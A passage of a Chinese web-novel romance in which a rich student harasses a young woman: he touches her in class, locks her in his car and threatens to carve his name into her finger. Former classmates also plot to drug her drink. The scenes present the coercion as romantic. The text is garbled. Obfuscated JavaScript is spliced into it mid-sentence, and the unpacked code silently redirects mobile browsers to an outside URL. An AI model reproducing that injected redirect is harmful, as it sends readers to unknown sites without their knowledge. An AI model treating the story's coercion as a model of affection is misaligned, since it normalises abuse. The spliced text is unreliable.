孟纾语刷到这些消息的时候,人正在阶梯教室里,陪许莓旁听大二能动系的专业大课。 窗外晨光洒落桌面,她心想,爱情使人盲目,为爱上早八,想想就伟大。 许莓的暗恋对象就在前面几排,她盯着人家后脑勺半节课了。 憋了半天,许莓晃晃她胳膊赞叹:“他头好圆啊。” “......” 孟纾语坐在靠里侧过道的角落,默默划着手机。 教授在讲台上分析工程图案例,麦克风传出的声音又闷又缓,听得她昏昏欲睡。 浑然不觉,身旁空位有人坐下,飘来一丝熟悉的气息。 她陡然一激灵,一只阔热的手突然按到她大腿上。 她全身僵硬,余光里,邢屹气定神闲靠着椅背,耷着眼皮目视前方,仿佛在随心所欲地听讲。 而桌下这只手早已恶劣透顶。 她今天穿了短裙,他手掌按住她大腿不动,手指却在她肌肤上弹琴似的点来点去。 满教室的人,邢屹暗度陈仓肆意妄为,她早已羞耻心沸腾,匆忙并紧双腿,他力道随之加重。 “躲我七天是吧。” 他睚眦必报地点了她大腿七下,随即拿开手,若无其事掏出手机。 简直变态。 她像坐了一轮过山车,心跳疾速起落。 立刻往边上挪了挪,能躲多远是多远。 邢屹靠着椅背低眸划手机,忽然轻蔑地问:“前排那个姓卢的,是你喜欢,还是你舍友喜欢?” 他声音很小,依旧让她太阳穴一跳,她快速发消息给他:[是我舍友喜欢] 解释完,他没再问。 距离很近,瞥见他给她加了个备注。 一只浅蓝色的小鱼emoji。 不知他是不是良心发现,不再开口吓她了,而是迁就地改成发消息。 xy:[上次销毁了你的内衣,赔你。] 商品截图发过来,她点开看,差点把手机扔了。 怎么全是半透的法式蕾丝! xy:[还敢不敢躲我?] 她脸颊红透,邢屹放下手机,靠过来假意跟她借笔,气音浑热地问:“什么时候穿给我看?” 10. 回吻 短短一句话让她身心沸腾。 邢屹一手搭住桌面支着额头,不动声色盯她侧脸,另手转着她的笔。 钝刀子磨了她十五分钟,课间铃终于响起。 她快速起身。 “莓莓,我有点头疼,先回寝室了。” “啊?好的好的,我桌上有药你可以吃,好好休息。” “嗯。”转过身,出口被他堵住,她看着他肆意敞开的双腿,气闷道,“让开。” 邢屹依旧支着额头,慢悠悠抬眼看她,好像听不懂中文似的,一边眉梢轻轻挑起。 她咬牙改口:“学长,请你让一下,我要出去。” 他嘴角翘了一瞬,起身给她让路,彼此错身,他故意勾她手指,她啪一声拍开,烦死了。 初秋干燥而明媚,孟纾语停在教学楼的悬挑阳台上,沐着阳光舒了口气。 的确,生活充满了未知数。 但上帝这回掷的是什么骰子,怕不是想把她砸死。 短短一个月,她生活里的每一道缝隙都被邢屹侵略了。 她背靠着阳台围栏,拿出手机拨通老孟电话。 一接通就说:“爸,我不想在邢家住了。” “啊?”老孟浑然不觉,“为什么呀,不习惯吗?” “因为......邢屹他......” ——“纾语!” 她连忙挂断,转头看去。 喊她的是彭霖。 他身边还有一个讨厌鬼。 彭霖小跑过来:“哈喽!好巧啊,你也在三教上课吗?” 她下意识后退,等邢屹闲闲止步她才停下,无视他,只看着彭霖:“没,我来旁听的。” 彭霖喜形于色:“你对我们专业感兴趣嘛?” “......没有。我还有事,先走了。” “那个,等等!” 彭霖开口挽留,她装没听见,邢屹忽然挡到她面前,双手插兜,打趣似的歪头看着她,腮帮子含着糖,笑了笑,“我朋友还有话想说,耽误你两分钟?” 她抬眸瞪他,如果眼睛会说话她已经骂他八百句了。 彭霖以为她嫌自己烦,连忙改口:“也、也没什么,你有事就先去忙吧。” 她“嗯”一声,绕过讨厌鬼快步离开。 邢屹眼底浮着笑,身子靠到她刚才靠过的地方,目光跟随她下楼的背影。 彭霖凑过来验收成果:“让你帮我打探她的喜好,有结论没?” 背影已经消失,邢屹嚼碎薄荷糖,装得很遗憾:“没有。” “啊?!那你坐她旁边那么久,什么都没问吗!” “问了啊。”邢屹优哉游哉,转头看向楼下,一个小豆点气闷地移动着,他嘴角牵起笑,补一句,“人家没理我。” “好吧。”彭霖泄气,自我安慰说,“没关系,好事多磨嘛,她肯定会喜欢上我的。” 音落,邢屹上下扫他一眼,撇过头笑了下,起身离开围栏,走了。 彭霖顿了顿,登时咆哮:“你干嘛?!你是不是嘲笑我!” ... 孟纾语回寝室趴了会儿,收到消息。 xy:[不、许、搬、走。] 她闭了闭眼,用力把手机倒扣桌面。 这人好像在她身上安了监控,她每一个念头都无处可逃。 静了几秒,她拿起手机飞快打字:[我是不是跟你有仇?] xy:[多复杂的问题啊,要不你当面问我?陪你促膝长谈] “......” 她深吸一口气。 回:[你到底想要什么,可以直说] xy:[要你] 孟纾语盯着这两个字足足十秒。 随后,手指点开左上角。 拉黑,确认。 清净不到一会儿,手机又开始震。 原来是初中群聊。 这群都死寂多久了,怎么突然诈尸。 她好奇点开。 [听说咱们班出了个京大学霸?] [@孟纾语,哈哈,说你呢] [转学之后简直一飞冲天啊,京大诶,想都不敢想的学校] [就是啊,咱们都高攀不上了] 阴阳怪气的。 [巧了,我们哥几个正好在京体大] [@孟纾语,有空聚一聚呗?] [知道你在潜水,好歹吱个声嘛,别考上京大就忘本啊] “......” 忘本这种词都蹦出来了。 她平静回复:[@马睿,为什么改名?你爸妈给你起的马峰不好听吗?你忘本] 马睿这下没声了。 班长出来圆场:[哈哈,马睿跟你开玩笑呢。我也在京北,读的语言大学,既然都在一个城市,那就聚一聚嘛,你生日不是快到了吗?正好,我们给你过生日] 班长她人很好,她被卓耀明用蟑螂吓哭的时候,是班长第一时间安慰她,还一脚踩爆了蟑螂。 老同学之间聚个餐也没什么,孟纾语淡淡回了个“好”。 ... 下午上了一节选修课,她神游天外,一直在琢磨今晚的落脚地。 反正不想回颐云公馆了,寝室也不能待。 一个人住酒店又不安全,她想了想,打电话给毛婧婧。 “毛毛,我想去找你。” 毛婧婧上周租了间小公寓,搬到校外住了。 孟纾语傍晚到达她家,输密码进门,差点被眼前一幕吓到。 地上倒了几个酒瓶子,桌上堆着外卖盒,毛婧婧被一堆杂物包围,瘫坐在画架前发呆。 孟纾语上去戳戳她:“你怎么了?” 毛婧婧仰头看着天花板,瞪着死鱼眼笑了笑:“我没事,孟孟,我好得很。” “......” 问了才知道,毛婧婧跟舍友闹了矛盾,对方为了报复,居然用开水浇了她养在宿舍的发财树。 孟纾语不解:“所以你就......很难过?” 毛婧婧搓了把脸,简直椎心泣血:“两年!那棵发财树我养了两年!空运过来的!现在没了它,我画了一个月的画只卖出去八百,不是她害的是谁害的?断人财路天打雷劈!” “......” 精神状态堪忧。 “那你跟辅导员说了吗?他没让她给你道歉?” “没有,辅导员问我要证据,我服了,我树都死了还不是证据吗?他说树死是一件很正常的事,不能证明是她害死的。” “......” 孟纾语由此及彼,想到她和邢屹。 邢屹没打她没骂她,甚至她刻意躲他之后,他还给她转钱。 第一次是一万,她当然没收,于是他每隔一天就往上加码,现在已经累计到八万。 再加上他颠倒黑白的本事,各种细节串起来,倒像是她在放长线钓大鱼,骗财又骗色。 在这种情形下说他欺负她?先别说警察信不信,连老孟都不信。 她苦恼地靠在沙发上,毛婧婧转头看她:“你跟邢屹怎么样了?” 她叹一口气:“他说喜欢我。” “嚯,这么直接?” “......还有更直接的。”她百思不得其解,“你不觉得诡异吗?这些事情简直突如其来,太不符合常理了。” 毛婧婧老神在在说:“你们学校不是很多人跟你要微信吗?他一定是怕你喜欢上别人,所以忍不住先下手为强了。” “你这么说有点道理,但......我就是想不通,我跟他才认识一个月,他为什么这么快就锁定我了?” “唔,你们之前是不是认识啊?” “没,完全不认识......” 她只知道邢屹跟母亲关系不好,十三岁就被邢美莱接到家里抚养。 可是就连这件事,都是上个月才听老孟说的,她大学之前完全不知道有这个人的存在。 毛婧婧用炭条点着画架,敲定说:“那就是一见钟情。” 孟纾语抱着枕头闭眼,轻轻一叹:“不知道。” 实在搞不懂这种富家大少爷的脑回路,或许等他新鲜劲过去了,一切就好了。 ... 入夜,毛婧婧说她第一次来,必须好好招待她,于是在买菜平台订了一大袋生鲜时蔬,说要亲自给她做饭吃,还不让她帮忙。 孟纾语只好安心等待,借用毛婧婧的笔电在房间敲字写作业。 不到一会儿,突然听见砰的一声。 她跑到厨房一看。 油锅起火了。 火光冲天,毛婧婧竟然拿水去浇,孟纾语赶紧冲上前盖锅盖,火焰瞬间收敛,她松了口气,吓得魂都快没了。 灾难平息,果然是吃一堑长一智,她终于断定千万不能让精神状态差的人下厨。 过了会儿,她忽然看向另一边燃气灶口,眉心一拧:“你高压锅里炖了什么?” 毛婧婧六神无主,愣愣说:“绿豆海带汤。” “?” 炖这种东西为什么要在排气阀上盖毛巾! 她头皮发麻,刚要关火,一只手突然抢先拧阀,电光火石间,锅盖上喷溅的热沫烫到他指骨。 邢屹把她扯到身后,直接上手掀开滚烫的毛巾,端起滋滋冒气的高压锅甩到一旁,转头看着她,眼神冷得能杀人。 孟纾语怔住:“你怎么进来的?” 他脸色黑沉:“是谁拿了外卖忘记关门?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“邢屹!”她被迫攀住他肩膀,双腿不小心踢到他腹肌以下的位置,他突然掐她的腰,声音沉了一度,“别动。” 她突然意识到什么,浑身都僵了。 邢屹三两下把她塞进车里,她慌忙扯了扯车门。 锁死了。 座椅中间放了个方形的深色购物袋,邢屹从驾驶位上车,拿起袋子塞她怀里。 “打开看。” 她有种不祥的预感。 果然,是几套法式蕾丝内衣,有黑也有白。 她整个人烧起来。 简直坏透了,谁想要这种赔偿啊,她慌忙把袋子扔回原位,别过脸颤声说:“你要是喜欢,你就自己穿。” 邢屹闲闲开车,一只手臂搭在窗沿,迎着晚风反唇相讥:“没想到你还有这爱好,行吧,我也不是不能配合,可惜对我来说衣服太小,到时候撑破了,你给我缝?” “......” 不敢细想他说的是哪里撑破。 车窗外霓虹闪动,孟纾语心神不定地靠着座椅,觉得自己像案板上的鱼,随时可能被他拆吞入腹。 经过一个商圈路口,车子熄火,邢屹二话不说独自下车,留她一人在车里。 孟纾语不动声色捏捏手指,趁他走远,她开始悄咪咪研究跑车上的按钮,寻找车门锁。 正纠结,邢屹突然回来了。 她立刻坐正,邢屹关好车门,往她手里塞了一个东西。 纸质的小方盒,棱角锐利,不轻不重,外面裹着一层塑封薄膜。 她呼吸一滞,缓缓低头。 “......” 是烫伤膏。 邢屹没个正型地坐着,一手抵着方向盘撑住额头,另一手递过来,颐指气使:“帮我擦。” 她抿抿唇:“你自己擦。” “我被烫是因为谁?” 她沉默几秒,不情不愿拆开药膏,抹了一点在他泛红的指骨上,轻轻擦拭。 晶莹剔透的药膏覆在他手指上,沾在她指腹,黏糊糊的,一开始很凉,后来逐渐吸纳彼此的体温。 商圈人来人往,斑驳的霓虹光线游入车内,时而昏昧时而迷离。 邢屹低眸看着她,她认真的时候睫毛会微微颤动,嘴唇也会抿紧,邢屹的目光移到她唇上,停留许久。 孟纾语给他擦完药,快速松开他的手,他却牵住她,手指不松不紧地勾缠着,药膏柔软地化开,指间泛起粘稠触感,她脸颊升温,心口像有水滴坠落,转瞬即逝的痒。 她小幅度吸了口气:“放开,药都弄我手上了......” 邢屹倾身靠近,一手揽过她后颈,用力捏了两下,让她抬眸跟他对视。 她心跳加速,他漆黑目光在她唇上逡巡,轻描淡写地说:“只是药,又不是别的。” 她生涩吞咽一下,一门心思抽回手,邢屹却将手指牢牢挤进她指缝,十指紧扣,沉哑声线撞到她心口:“再敢拉黑我,就在你手指上刻我的名字,让它流血结痂,一遍又一遍,永远消不掉。” 11. 回吻 孟纾语反应三秒,迅速抽回手。 一瞬间摩擦生疼,心也仿佛被攫了一下。 “你别说这种话吓我......”她立刻抱住胳膊别过脸,更怕他了。 光从另一侧游入,他的影子密不透风落在她身上。 邢屹挑起她一缕头发勾在指间,捻起发梢轻挠她泛红的脸颊,好像怎么逗都不腻:“那这样吧,在我手上刻你的名字,每天刻一遍,你给我擦血。” “......你这是自残。” “那你心不心疼?” 她太阳穴猛跳。 “不心疼。” 邢屹低笑一声:“这么说我就伤心了。” “......”看你不像会伤心的样子。 晚上九点多,兜兜转转回到颐云公馆。 下车前,孟纾语望着离自己越来越近的别墅。 原本精致夺目的一栋房子,现在看起来像个危险之地。 再往前,看见院门口停了一辆深色奔驰。 驾驶位下来一个穿黑西装的年轻男人,斯斯文文走过来。 邢屹似乎司空见惯,他慢条斯理下车,靠在车门前跟对方说了会儿话,孟纾语适应情况,慢了半分钟才下车,跟男人对上视线。 “是孟小姐吧。”对方笑意礼貌,“您好,我是邢老先生的特助,林泽,偶尔也帮小邢处理事情,您称呼我林助就好。” 她轻轻颔首:“你好。” “是这样的,孟小姐有空的话,明晚一起来老宅吃饭。”见她有点懵,林泽又补说,“是老先生交代的,您就放心来吧,不用紧张。” 林泽恭恭敬敬告辞离开,车子驶远,孟纾语看向邢屹,茫然问:“邢老先生是......?” “我外公。”邢屹揉着她脑袋跟她一起进门。 “哦......”她后知后觉,郁闷地拍开他的手,头发要被他弄乱了。 粗略一想,她是寄住在家里的女孩子,长辈邀请她一起吃饭是基本的人情礼节,她大大方方去就好了,不用想太多。 邢屹看她在思考,又揉她脑袋:“你紧张?” 她摇摇头。 “现在对这种事情已经不会紧张了。” 以前可能会。 邢屹把她心里想的后半句也问了出来,她就回答他说,以前的她特别社恐,尤其是初中那会儿,假期大门不出二门不迈,最喜欢的事情就是窝在家里看电视剧。 当时有一部名叫《慕容少爷为她哐哐撞南墙》的狗血剧很火,她每天就看那个。 邢屹兀地失笑,说那个有什么好看的,孟纾语回想说:“那时我还小,觉得挺好看的,最喜欢看慕容傲天被大雨淋成落汤鸡,然后还被苏潼潼扇巴掌的桥段,后来慕容傲天掉进海里,又浮起来了,他追在苏潼潼离去的船后面一直游,大声喊‘你不要离开我’,一边喊还一边咕噜咕噜呛水。” 邢屹对她的描述没什么反应,可能他以前也听过这部剧。 按指纹进门,他忽然回身问:“怎么个呛法?” “就那样啊,你想象一下就知——” 邢屹突然捧住她的脸搓搓搓,她后半句变成气泡一样咕噜散开。 他好欠揍地问:“这样呛?” “......”她郁闷地盯住他。 他难得真心实意地笑,原本凌厉的双眼染了一点温柔弧度,好像无论她讨厌他,还是害怕他,只要她在他身边待上一刻,他的心情就会变得很好。 然后就开始欺负她。 混蛋。 邢屹捧着她的脸,故意往后走了几步靠在门上,她被一股力量牵引着,重心不稳跌到他身前,他顺势抱住。 香味扑鼻而来,她被迫闷在他胸膛,听见他强有力的心跳声,邢屹捏住她后颈:“把钱收了。” 她挣扎着抬头,缺氧过后,眼角有零星的生理泪水:“不要。你当转钱是过家家吗?八万都能立案了。” 于是他又拿出手机给她补发一条信息。 [自愿赠与] “......”孟纾语推开他的怀抱,“你别闹了。” 刚要走,邢屹按住她肩膀把她翻了个面,视线又缠上了。 他笑意全无,眼底多了几分沉戾:“那你想要什么。” 要你离我远一点。 这话说出来肯定会激怒他,她抿抿唇咽了回去。 邢屹猜到她想说什么,低身掐起她下巴,警告她:“那句话,你最好一辈子都别说出口。” 她手指轻颤,避开他锋利视线。 他贴在耳边犯浑:“车上东西忘拿了。” “......”她扭头就走,气呼呼撂下一句,“你自己穿。” 喉咙好干,她快步到厨房打开冰箱,找瓶冰水喝。 正低头拧瓶盖,身后脚步声靠近,她警惕地回身:“我不穿,你不要那么变态。” 邢屹停在她面前,从购物袋底下掏出一只...... 小鲨鱼玩偶。 她一时怔住,邢屹不着痕迹地笑了下,拿起鲨鱼的鼻吻部位,往她额头轻轻撞了三下。 “小、气、包。” - 次日,邢屹开车带她回邢家老宅。 入口处有警卫例行检查,邢屹提前减速,车窗降下来,一名扑克脸警卫对邢屹礼貌一笑,跟他说了声晚上好。 车子继续往前开。 孟纾语握着双手问:“这里有名字吗?” 邢屹一副浑不在意的样:“不知道,他们都管这儿叫紫园。” “哦......” 园里视野开阔,路灯明亮,车子直直往前开,穿过几座花台,停在一扇深棕色院门前。 进门才发现院子里别有洞天,她儿时在景区逛过的苏式园林就长这样。 “哎哟,到了怎么没提前说一声?”一位面容和蔼的中年阿姨迎出来,停下来跟邢屹说话,夸他又长高了,他说他都十九了还怎么长,再长就两米了,阿姨开怀一笑,注意力回到孟纾语身上,“小语好,我是家里管事儿的,叫我方姨就行。” 她点头:“方姨好。” 方姨面露喜爱:“哎哟,真是漂亮,是不是学艺术的呀?” “不是,我是文科生。” “诶?我瞧你像电影明星呢,那你妈妈一定很漂亮。” “......嗯。” “妈妈现在是做什么工作的呀?” “我妈她......以前是话剧演员,在我十二岁那年去世了。” 方姨一愣:“唉,瞧我这嘴。” 孟纾语浅浅一笑:“没关系的。” ... 不多时,她跟着邢屹到达别墅饭厅,坐在他身边,不经意看了眼头顶连绵的水晶灯,还有这长达数米的餐桌。 不禁好奇,大家平时吃饭的时候,说话要用喊的吗? 后来发现房子内部构造精巧,说话会有回声,哪怕离得远也能交流。 邢屹靠着椅背玩数独,朝不远处瞥了一眼,混不正经地说:“那个穿唐装的老头就是邢钟宏。” “......”就当他直呼长辈大名是在给她介绍吧。 邢钟宏不紧不慢走进主位,扫了眼落座的人。 除了她和邢屹,还有一个男生坐在他俩对面,二十来岁的样子,时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200970|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不时瞟她一下,眼神怪怪的。 偌大的餐桌,显得有点冷清,邢钟宏坐下问:“美莱和漫芊,她俩不来?” 方姨低身答:“一个忙着谈生意,一个在家照顾小儿子,都说来不了。” 邢钟宏顿了下。 “行吧,随她们去吧。”语气明显有些不高兴了。 气氛低迷,邢屹还在自顾自划手机,孟纾语下意识看他一眼,三秒后,他懒洋洋把手机放下了。 正纠结该怎么称呼那位老人家,邢钟宏就对她笑笑:“小语也是晚辈,叫我外公就行。” “......好,外公。” 对面的男生哼笑一声:“爷爷,您有邢屹这个外孙还不满足啊,还想要个外孙女?” 邢钟宏戴上老花镜,斜他一眼:“邢皓南,吃饭少说话。” 邢皓南有一搭没一搭搅着小碗里的汤,酸溜溜道:“爷爷,我听我爸说,邢屹去年的生日礼物是集团股份,我就在想吧,我们都是您身边最亲的小辈,我生日也快到了,到时候您也给我安排一个呗?” “你?”邢钟宏嘲他,“不学无术,白痴一个,还想跟邢屹比。” “......”邢皓南顶了顶腮帮子,不敢对爷爷撂脸色,只敢瞪一眼邢屹。 邢屹正在给孟纾语盛汤,舀一勺就问一句:“这个吃不吃?” 孟纾语顿了顿,其实都看不出那是什么食材,但在别人家里不能挑,她果断点头说:“吃。” 邢屹睨她一眼,似乎知道她在说假话,没给她盛那个,只舀了别的。 一小碗清澈鲜甜的海鲜汤放到她面前,里面的虾仁和鲜贝都是她爱吃的。 “待会儿再喝,烫。” 她乖乖点头:“好。” 邢皓南一脸吃了瘪的表情,因为邢屹根本没搭理他,注意力全在这个女孩子身上。 他只好转移炮火:“你叫......孟纾语是吧?” 孟纾语抬眼看他。 “嗯,你好。” “你好你好。”邢皓南摆起公子哥的架子,细细打量她,“啧,名字挺好听,长得也漂亮。听说你住在邢屹家,还习惯吗?” “还可以。” “你家里是做什么的?” “我爸爸卖茶叶。” “哦,路边小摊贩?” “......不是,就是普通的门店。”她拿起勺子喝一口汤。 “哦,看来是一般家庭。那现在近水楼台的,你想不想攀上邢屹?” 她手腕一顿。 空气沉寂几秒,邢钟宏已经忍无可忍:“不想吃饭你就滚出去!” 邢皓南被慑了一下,怂兮兮地咕哝:“开个玩笑嘛,那么认真干嘛。” 一桌子人静了会儿,邢皓南又冷不丁问:“那你有没有男朋友?” “......没有。” “没有啊?啧,长这么漂亮,我还以为你谈过好多个呢,你让我想起留学那会儿碰见的那种女的,绝了,到处钓凯子,私下玩儿那么花,表面还一个劲地装清纯呢,哈哈......” 孟纾语攥紧勺柄,觉出一股莫名其妙的恶意。 邢屹气定神闲给她剥蟹腿,掠了对方一眼,轻笑一声:“表哥,最近行情怎么样?” 邢皓南嚼着东西问:“什么行情?” “听说前段时间大舅断了你的生活费,你一分钱都没有,在纽约怎么过?陪白男一夜春宵挣外快?” 邢皓南登时涨红了脸,差点爆粗:“你他——你说什么呢?!” 邢屹把剥好的蟹肉放她碗里,慢条斯理脱下一次性手套:“表哥,别张嘴了,你牙上有菜。” 12. 回吻 邢皓南慌忙拿起手机照前置,发现牙缝里并没有菜。 他霎时气饱,筷子一撂:“爷爷,我吃好了,先回去了。” 邢钟宏哼笑一声:“就这态度,还想要股份?” 完了,他立马凑上去讨好:“爷爷,我不是那个意思嘛,股份我还是要的......” 邢钟宏挥挥手:“我看你不太想要,走吧,回去吧。” 邢皓南又央求了一阵,无果。 他觉得自己被当猴耍,哼一声,气鼓隆咚地走了。 邢钟宏悠闲喝汤,波澜不惊道:“小语不用理他,说他白痴都是在夸他了。” 孟纾语发现了,原来邢屹的间歇性毒舌是遗传外公。 “老先生,嘉嘉来了。”方姨笑着通知,随后进来一个女生,模特身材波浪卷,妆容光彩照人。 常嘉把礼品交给方姨,扫了一眼餐桌上的人,尴尬一笑:“啊,好像来得不巧。” “没事儿。”邢钟宏心情不错,摆摆手让她落座,“不就是添副碗筷的功夫,一起吃吧。” 孟纾语跟常嘉对上视线,对方跟她说了声“嗨”,她回一个得体的笑。 常嘉又用熟人间的微妙眼神看向邢屹,邢屹没搭理她,转头问孟纾语:“吃饱了?” 她顿了两秒没说话,他就知道她已经吃不下了。 他牵起她的手起身:“走。” 她定在原地,小声劝:“不太好吧......” 邢钟宏笑笑:“没关系,有事儿就先回去吧,下次再来。” “......好的,外公再见。” 桌上少了两人,常嘉兀自落座,戴起手套接过邢钟宏手里的蟹腿:“我帮您剥,我最会剥蟹了。” 邢屹闻声回头,冷森森盯着外公:“还吃蟹?您下回痛风别打电话跟我哭。” 邢钟宏心虚:“哎呀,吃一点又不碍事,你快回去吧,别在这儿盯我。” 邢屹不屑地收回视线,牵着孟纾语的手走远。 她不想被误会,下意识挣脱开,他就加重力道锁住她,两人的掌心纠缠出热意,她心跳跟着加快。 常嘉看着两人走远,不露声色问:“那个女孩子是谁?” 邢钟宏简单解释完,常嘉露出稀奇的眼神:“真的假的,邢屹被夺舍了?居然肯让别人住进他家里,之前我去给莱姨送礼物,坐一下沙发他都看我不爽。” 邢钟宏笑笑说,或许这就是一物降一物吧。 ... 孟纾语一路被他拽着走,出了院子又被他塞进车里。 太阳穴一阵一阵地疼,她觉得他又快犯病了。 每次她一抗拒他的接触,或者露出一点点讨厌他的表情,他就像干柴遇火,整个人燥得厉害,有时又冷森森的,沉默比说话还可怕,吓得她心慌。 等邢屹带着一股冰冷气场上车,她静了半晌,小声说:“来之前都说好了,你不要做什么出格的行为。” 刚说完,车子忽然加速,窗外路灯掠出残影。 她立刻攥紧安全带,邢屹头也不转地问:“帮你剥蟹也算出格?” 她抿抿唇:“我没说那个,我是说你牵我的手,还故意不放。” 邢屹攥了攥方向盘,撇过头沉默,很快又目视前方,嘲弄地笑了下:“就这么讨厌我。” 孟纾语一时哑然,别过脸看向窗外,本想让气氛稳定下来,邢屹却越开越快。 跑车如风似火驶上高架桥,引擎声震耳欲聋,强烈的推背感让她呼吸发紧,越来越怕:“你开慢一点啊......” 邢屹无动于衷,沉声问她:“你到底讨不讨厌我。” “你先减速!” “你先回答。” 转眼已经冲下高架,一辆货车被他甩在后方,她捏了把汗,忍无可忍地深吸一口气:“为什么要这样?你就不能正常一点吗,还是说我跟你确实有仇,所以你要千方百计欺负我?你从小就这么坏这么阴暗吗,在长辈面前装得懂事孝顺,私下却是不折不扣的禽兽,难道你妈妈没教过你——” 她喉咙一紧,快速咽了后半句。 邢屹和母亲关系不好,她不能在这种时候火上浇油。 下意识祈祷刚才的字眼被引擎声盖过,转头却看见他青筋爆起的手臂。 孟纾语浑身僵硬,手腕开始发抖。 如果他发起怒来对她做些什么,她根本无法反抗,万一到时候,两人激烈争执,她败下阵来,横尸荒野...... 突然一阵急刹,她心脏跳到嗓子眼,邢屹倾身靠近,她躲闪着喊他别过来,他却看也没看她,径直打开车斗,砰的一声,她眼含一点生理泪水,模模糊糊看见他取走烟盒和金属打火机,转头下了车,甩手关上车门。 倏然一静,她全身都麻了。 连接市郊的道路宽敞而冷清,偶尔有车辆驶过,车灯时远时近。 邢屹倚靠在车前抽烟,身上的戾气缓缓淡去,沉得无比安静,不知在想什么,他微仰起头,吸了口烟,烟雾许久才吐出,喉结上下涌动,雾气弥散在路灯下,一双锋利眉眼染上一层迷蒙。 他今天穿了一件休闲白衬衫,衣袖挽折至臂弯,在月色下懒懒站着,无疑是矜贵冷淡的少爷模样。香烟燃了一半,一只萤火虫忽然飞到他肩上,他轻轻把它弹落,让它飞走。 终于,他指间的火星陡然熄灭,抽完一支烟,他又靠在车前吹了会儿风,等烟味散尽才回到车里,一路匀速驾驶,一言不发。 孟纾语悬着的心缓缓落地,却又难说究竟是什么心情。 经过这一晚,两人毫无交流。 像冷战。 这对孟纾语来说或许是件好事,因为她再也不用刻意躲着他了,无论在家里还是学校,丢失的自由又回到她手里。 连续几个傍晚,她跟着散打社的同学跑步训练,远远看见他在打球,一如既往的朝气蓬勃,笑起来直击人心,看上去一点心事都没有。 她收回视线继续跑步,中途累了,停下来歇会儿,不经意跟他对上视线,他淡淡掠过,转头跟队友谈笑风生,还接了一瓶女同学递给他的水,喝没喝就不知道了。 很快,到了初中同学聚会的日子。 日料店在京大附近,孟纾语到达包厢的时候,他们已经点好了菜,还象征性地为她买了蛋糕,提前庆祝她几天后的生日。 “来啦!”班长许悠拍拍身边的位置,“快,你坐这,待会儿吹蜡烛。” “好。”她走过去。 大家一见她进来就开始起哄,说什么学霸带带我,苟富贵无相忘。 孟纾语环顾四周,加上她一共来了七人,除了班长之外,剩下的都是京体大的那帮男生。 不对,看漏了,还有个卓耀明。 卓耀明坐在对面,一直看着她,似乎很想借机跟她搭话,但她视而不见,他只好沮丧地喝茶。 马睿那几个嚼着花生米,默不作声站起来,回头瞥一眼卓耀明:“走呗,一起到隔壁超市买酒,这儿的饮料太贵了。” 卓耀明迟疑片刻,起身跟他们出去。 孟纾语觉出一丝不对劲:“他们几个,之前不是玩得很好吗?现在怎么怪怪的。” 许悠给蛋糕插蜡烛,思考几秒说:“不知道诶,我只记得前几天邀卓耀明来聚餐,卓耀明问我还有谁来,我说马睿他们也在,他就开始犹豫了,考虑了很久才答应要来。” ... 日料店后门,有一片蚊虫聚集的厨余区。 马睿咬着烟,把卓耀明逼到角落,嘲笑他:“真没出息啊你,暗恋人家六七年,人家一个眼神都不给你,哈哈......” 卓耀明怒目圆睁:“你们有话直说。” “哟,还这么横呢?”马睿轻蔑地推他一记,“今非昔比了,哥们儿,想当年你逼我们几个给你当小跟班,你闯了祸,我们傻兮兮背锅,你倒是溜得无影无踪,你说你贱不贱呐,啊?告诉你,天底下就没有一笔勾销的债,这次,换你给我当狗。” 马睿点着他额头说:“你说好不好啊?私、生、子。” 卓耀明嘴唇颤抖,快速眨着眼说:“想要钱是吧,我可以给,只要你们不把这件事情说出去。” 马睿怪笑:“钱当然也要啦,但我现在不怎么图钱呢,只是有件事想拜托你。” 他掏掏裤兜,把一个透明小药袋塞到卓耀明手里:“听着,待会儿你就神不知鬼不觉的,把这个,放进孟纾语的饮料里。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15200971|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 卓耀明愣了几秒。 “不可能!” “不可能?那你见不得光的秘密,可就要公之于众咯。” ... 半晌,几个男生回到包厢,马睿神清气爽地坐下,使唤卓耀明把买来的饮料分一分。 卓耀明拿着购物袋绕了一圈,走到孟纾语身边问:“你......喝橙汁还是可乐?” 她想了想:“橙汁。” “橙汁有点冰,要不喝可乐吧。” “......不想喝可乐。” 卓耀明面露难色,磨磨蹭蹭把橙汁给她。 大家太久没见了,没什么共同话题,一桌人各说各的,孟纾语跟许悠聊学分绩点,那帮男的就在聊什么国际热战,三个地名说错了两个,唯有卓耀明一言不发。 孟纾语有点口渴,正要打开橙汁,手机突然弹出信息。 卓耀明的号码:[别喝饮料,快走] 她瞬间明白了。 下一秒淡然起身:“我去趟洗手间。” 说完就快步离开。 包厢外的长廊上,孟纾语一边走一边给许悠发消息,说她有事先走。 刚要转弯,马睿突然闪到跟前:“迷路啦?卫生间在另一头,你这是要走啊?蛋糕还没吃呢。” 她冷静说:“我有事。” “有什么事啊?你这嘴能说会道的,我怎么知道你是不是在骗我?” 孟纾语没搭理,径直绕过他,他却偏不让她走。 她进退两难,下意识朝前看一眼,目光倏然一顿。 是邢屹。 他靠着走廊墙壁抽烟,面前是秦双,两人散漫谈笑,邢屹侧眼瞥她一记,什么反应都没有,很快收回视线。 被他无视了。 也是,他们都这种状态了,他怎么可能管她的闲事。 